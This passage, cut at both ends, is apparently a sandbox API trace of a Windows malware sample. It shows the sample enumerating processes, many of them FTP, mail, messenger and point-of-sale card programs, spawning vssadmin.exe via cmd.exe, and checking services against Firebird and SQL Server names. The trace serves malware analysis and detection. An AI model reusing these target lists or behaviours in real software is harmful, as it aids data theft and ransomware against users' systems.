lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0084.506] lstrlenW (lpString="barca.exe") returned 9 [0084.506] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0084.507] lstrlenW (lpString="bitkinex.exe") returned 12 [0084.507] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0084.508] lstrlenW (lpString="coreftp.exe") returned 11 [0084.508] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0084.509] lstrlenW (lpString="far.exe") returned 7 [0084.509] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0084.509] lstrlenW (lpString="filezilla.exe") returned 13 [0084.510] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0084.510] lstrlenW (lpString="flashfxp.exe") returned 12 [0084.511] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0084.511] lstrlenW (lpString="fling.exe") returned 9 [0084.511] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0084.513] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0084.513] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0084.514] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0084.514] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0084.514] lstrlenW (lpString="icq.exe") returned 7 [0084.514] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0084.515] lstrlenW (lpString="leechftp.exe") returned 12 [0084.515] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0084.516] lstrlenW (lpString="ncftp.exe") returned 9 [0084.516] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0084.518] lstrlenW (lpString="notepad.exe") returned 11 [0084.518] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0084.519] lstrlenW (lpString="operamail.exe") returned 13 [0084.519] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0084.520] lstrlenW (lpString="pidgin.exe") returned 10 [0084.520] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0084.521] lstrlenW (lpString="scriptftp.exe") returned 13 [0084.522] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0084.523] lstrlenW (lpString="skype.exe") returned 9 [0084.523] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0084.524] lstrlenW (lpString="smartftp.exe") returned 12 [0084.524] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0084.525] lstrlenW (lpString="thunderbird.exe") returned 15 [0084.525] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0084.526] lstrlenW (lpString="totalcmd.exe") returned 12 [0084.526] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0084.527] lstrlenW (lpString="trillian.exe") returned 12 [0084.527] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0084.932] lstrlenW (lpString="webdrive.exe") returned 12 [0084.932] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0084.952] lstrlenW (lpString="whatsapp.exe") returned 12 [0084.952] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0084.953] lstrlenW (lpString="winscp.exe") returned 10 [0084.953] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0084.954] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0084.954] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0084.955] lstrlenW (lpString="active-charge.exe") returned 17 [0084.955] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0084.956] lstrlenW (lpString="accupos.exe") returned 11 [0084.956] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0084.957] lstrlenW (lpString="afr38.exe") returned 9 [0084.957] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0084.958] lstrlenW (lpString="aldelo.exe") returned 10 [0084.958] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0084.959] lstrlenW (lpString="ccv_server.exe") returned 14 [0084.959] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0084.960] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0084.960] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0084.961] lstrlenW (lpString="creditservice.exe") returned 17 [0084.961] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0084.962] lstrlenW (lpString="edcsvr.exe") returned 10 [0084.962] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0084.963] lstrlenW (lpString="fpos.exe") returned 8 [0084.963] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0084.964] lstrlenW (lpString="isspos.exe") returned 10 [0084.964] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0084.965] lstrlenW (lpString="mxslipstream.exe") returned 16 [0084.965] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0084.966] lstrlenW (lpString="omnipos.exe") returned 11 [0084.966] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0084.967] lstrlenW (lpString="spcwin.exe") returned 10 [0084.967] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0084.967] lstrlenW (lpString="spgagentservice.exe") returned 19 [0084.967] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0084.968] lstrlenW (lpString="utg2.exe") returned 8 [0084.968] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0084.969] lstrlenW (lpString="atlascomedy.exe") returned 15 [0084.969] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0084.970] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0084.970] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0084.971] lstrlenW (lpString="ntsc.exe") returned 8 [0084.971] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0084.971] lstrlenW (lpString="criteria.exe") returned 12 [0084.971] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0084.972] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0084.972] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0084.973] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0084.973] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0084.974] lstrlenW (lpString="taskhost.exe") returned 12 [0084.974] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0084.974] lstrlenW (lpString="winhost.exe") returned 11 [0084.974] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0084.975] lstrlenW (lpString="cmd.exe") returned 7 [0084.975] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0084.976] lstrlenW (lpString="conhost.exe") returned 11 [0084.976] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0084.977] lstrlenW (lpString="vssadmin.exe") returned 12 [0084.977] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0084.977] CloseHandle (hObject=0x1ac) returned 1 [0084.977] Sleep (dwMilliseconds=0x1f4) [0085.782] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0085.783] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0085.785] GetLastError () returned 0xea [0085.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x123e) returned 0x39777a0 [0085.785] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x123e, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0085.787] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0085.787] lstrlenW (lpString="Appinfo") returned 7 [0085.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0085.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0085.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0085.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0085.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0085.787] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0085.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0085.788] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0085.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0085.788] lstrlenW (lpString="AudioSrv") returned 8 [0085.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0085.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0085.788] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0085.788] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0085.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0085.788] lstrlenW (lpString="BFE") returned 3 [0085.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0085.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0085.788] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0085.788] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0085.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0085.788] lstrlenW (lpString="CryptSvc") returned 8 [0085.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0085.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0085.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0085.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0085.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0085.788] lstrlenW (lpString="CscService") returned 10 [0085.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0085.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0085.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0085.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0085.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0085.788] lstrlenW (lpString="DcomLaunch") returned 10 [0085.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.789] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0085.789] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0085.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0085.789] lstrlenW (lpString="Dhcp") returned 4 [0085.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0085.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0085.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0085.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0085.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0085.789] lstrlenW (lpString="Dnscache") returned 8 [0085.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0085.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0085.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0085.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0085.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0085.789] lstrlenW (lpString="DPS") returned 3 [0085.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0085.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0085.789] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0085.789] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0085.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0085.789] lstrlenW (lpString="eventlog") returned 8 [0085.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0085.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0085.789] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0085.790] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0085.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0085.790] lstrlenW (lpString="EventSystem") returned 11 [0085.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0085.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0085.790] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0085.790] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0085.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0085.790] lstrlenW (lpString="gpsvc") returned 5 [0085.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0085.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0085.790] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0085.790] lstrcmpiW (lpString1="mssqlserver", 